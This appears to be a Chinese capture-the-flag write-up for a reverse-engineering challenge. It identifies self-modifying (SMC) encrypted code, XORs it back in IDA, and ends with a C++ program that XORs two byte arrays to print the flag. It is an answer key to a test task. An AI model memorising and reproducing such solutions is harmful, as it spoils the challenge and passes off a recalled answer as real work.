点开文件可以看到一个可疑函数对文件地址进行操作,怀疑是smc文件加密技术。 跟踪过去看一看。 发现地址爆红,出现大量没有被解析的数据段那么实锤此处就是smc文件加密,那么我们将其异或回去,使用idc或者idapython 运行idapython脚本之后发现本来ida无法识别的汇编代码变得可以识别了,那么我们声明所有的未声明函数。 就可以在下面找到输出flag的方法了。 EXP #include<iostream> #include<algorithm> #include<cstdio> #include<cmath> #include<map> #include<vector> #include<queue> #include<stack> #include<set> #include<string> #include<cstring> #include<list> #include<stdlib.h> using namespace std; typedef int status; typedef int selemtype; int ida_chars[] = { 0xFA, 0x28, 0x8A, 0x80, 0x99, 0xD9, 0x16, 0x54, 0x63, 0xB5, 0x53, 0x49, 0x09, 0x05, 0x85, 0x58, 0x97, 0x90, 0x66, 0xDC, 0xA0, 0xF3, 0x8C, 0xCE, 0xBD, 0x4C, 0xF4, 0x54, 0xE8, 0xF3, 0x5C, 0x4C, 0x31, 0x83, 0x67, 0x16, 0x99, 0xE4, 0x44, 0xD1, 0xAC, 0x6B, 0x61, 0xDA, 0xD0, 0xBB, 0x55 }; int c[]={ 0x92, 0x4F, 0xEB, 0xED, 0xFC, 0xA2, 0x4F, 0x3B, 0x16, 0xEA, 0x67, 0x3B, 0x6C, 0x5A, 0xE4, 0x07, 0xE7, 0xD0, 0x12, 0xBF, 0xC8, 0xAC, 0xE1, 0xAF, 0xCE, 0x38, 0x91, 0x26, 0xB7, 0xC3, 0x2E, 0x13, 0x43, 0xE6, 0x11, 0x73, 0xEB, 0x97, 0x21, 0x8E, 0xC1, 0x0A, 0x54, 0xAE, 0xB5, 0xC9,0x28 }; int main () { for(int i = 0 ; i <= 46 ; i ++ ) { printf("%c",ida_chars[i]^c[i]); } }